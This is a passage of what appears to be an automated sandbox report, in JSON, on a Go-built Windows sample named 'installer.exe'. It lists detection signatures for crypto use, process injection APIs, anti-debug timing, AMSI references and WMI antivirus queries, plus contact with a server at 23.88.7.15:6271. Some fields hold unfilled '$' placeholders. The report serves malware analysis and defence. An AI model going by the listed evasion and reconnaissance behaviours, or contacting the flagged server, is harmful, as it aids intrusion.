Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027","id":"yara-103","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid Timestamp of PE file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.013","id":"yara-153","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with bottom confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"bottom\" confidence","origin":"Static Analysis","id":"mlmodel-15","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"WSAIoctl\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"GetFileType\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Possibly references Golang binary related string","description":"\" Go build ID: \"tBJhiRq06cUzXtDX_jY-/3pz1LfLfsydEZUWELZ5E/4zUD-7LcBpVEu6sLGhaN/QaNL4BIEwImCZ4wNdPtW\"\n \" (Indicator: \" Go build ID: \"tBJhiRq06cUzXtDX_jY-/3pz1LfLfsydEZUWELZ5E/4zUD-7LcBpVEu6sLGhaN/QaNL4BIEwImCZ4wNdPtW\"\n )\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-74","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"\n*hmac.HMAC\" (Indicator: \"HMAC\"; Source: \"sample.bin\"), Found reference to \"forHKDF\" (Indicator: \"HKDF\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-138","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"secret\" (Indicator: \"secret\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-475","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"\n*aes.Block\" (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"chacha8\" (Indicator: \"chacha\"; Source: \"sample.bin\"), Found string \"*aes.CTR\" (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"\n*aes.block\" (Indicator: \"aes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1529","id":"string-406","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"\t*abi.name\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"installer.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"installer.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"VirtualFree\"; File: \"installer.exe\")\n Found reference to API \"----------------VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00006960.00000000.167303.4C580000.00000004.mdmp\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"installer.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"installer.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"installer.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenThreadToken\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; File: \"installer.exe\")\n Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00006960.00000000.167303.C9930000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006960.00000000.167303.40000000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006960.00000000.167303.4C580000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"$27","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"installer.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"installer.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"GetTickCount\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"crypto/internal/fips140/aes.(*Block).Decrypt\" (Indicator: \".decrypt\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"crypto/internal/fips140/aes.decryptBlock\" (Indicator: \".decrypt\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"crypto/internal/fips140/aes.decryptBlockGeneric\" (Indicator: \".decrypt\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"crypto/internal/fips140/aes.decryptBlockAsm.abi0\" (Indicator: \".decrypt\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$28","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains possible references to Golang crypto modules","description":"$29","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-234","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2a","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains possible references to Golang crypto modules\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Able to decrypt/decode data\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - ChaCha20 encryption algorithm\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: YARA signature match – cryptographic algorithms","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"github.com\" (Indicator: \"github.com\"; File: \"PCAP\")\n file/memory contains long string with (Indicator: \"github.com\"; File: \"PCAP\")\n Found string \"github.com\" (Indicator: \"github.com\"; Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp, 00000000-00006960.00000000.167303.C99C6000.00000004.mdmp\")\n Found string \"Host: github.com\" (Indicator: \"github.com\"; Source: \"00000000-00006960.00000000.167303.C9930000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"GetUserNameA\" (Source: \"00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"installer.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006960-00000C2C-1608492469\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006960.00000000.167303.4C4DA000.00000004.mdmp, 00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")\n Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found string \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in file \"installer.exe\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"installer.exe\"\n Found system information discovery API: \"GetEnvironmentStrings (in long string)\" in file \"installer.exe\"\n Found system information discovery API: \"ExpandEnvironmentStrings (in long string)\" in file \"installer.exe\"\n Found system information discovery API: \"internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb\" in \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\"\n Found system information discovery API: \"internal/syscall/windows/registry.procExpandEnvironmentStringsW\" in \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"installer.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006960)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"installer.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006960)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"installer.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006960)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"installer.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006960)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"installer.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"installer.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"file/memory contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"installer.exe\")\n Found reference to API \"syscall.GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"syscall.procGetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00006960.00000000.167303.40000000.00000040.mdmp, 00000000-00006960.00000000.167303.4C580000.00000004.mdmp\")\n Found reference to API \"------------------------GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00006960.00000000.167303.4C580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"file/memory contains long string with (Indicator: \"GetVersion\"; File: \"installer.exe\")\n Found reference to API \"internal/syscall/windows.rtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"internal/syscall/windows.procRtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"runtime._RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"file/memory contains long string with (Indicator: \"GetVolumeInformation\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"installer.exe\")\n Found reference to API \"internal/syscall/windows.GetVolumeInformationByHandle\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found reference to API \"internal/syscall/windows.procGetVolumeInformationByHandleW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"installer.exe\" issued a query \"SELECT * FROM Win32_OperatingSystem\"\n \"installer.exe\" issued a query \"SELECT * FROM Win32_VideoController\"\n \"installer.exe\" issued a query \"SELECT * FROM AntiVirusProduct\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"installer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKey (in long string)\" in file \"installer.exe\"\n Found registry modification API: \"RegLoadMUIString (in long string)\" in file \"installer.exe\"\n Found registry modification API: \"internal/syscall/windows/registry.procRegLoadMUIStringW\" in \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"QueryServiceStatus\"; File: \"installer.exe\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"installer.exe\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"installer.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineW\" (Source: \"00000000-00006960.00000000.167303.4C4DA000.00000004.mdmp, 00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")\n Found string \"syscall.GetCommandLine\" (Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found string \"syscall.procGetCommandLineW\" (Source: \"00000000-00006960.00000000.167303.968A2000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006960.00000000.167303.A2B53000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"github.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"23.88.7.15:6271\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6aa02214ac0e1a11fe096315"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT * FROM Win32_OperatingSystem\" (Source: 00000000-00006960-00002714-1609247627, Indicator: \"select * from win32_operatingsystem\")\n \"SELECT * FROM Win32_VideoController\" (Source: 00000000-00006960-00002714-1609255371, Indicator: \"select * from win32_videocontroller\")\n \"SELECT * FROM AntiVirusProduct\" (Source: 00000000-00006960-00002714-1609280258, Indicator: \"select * from antivirusproduct\")\n \"SELECT * FROM AntiVirusProduct0\" (Source: 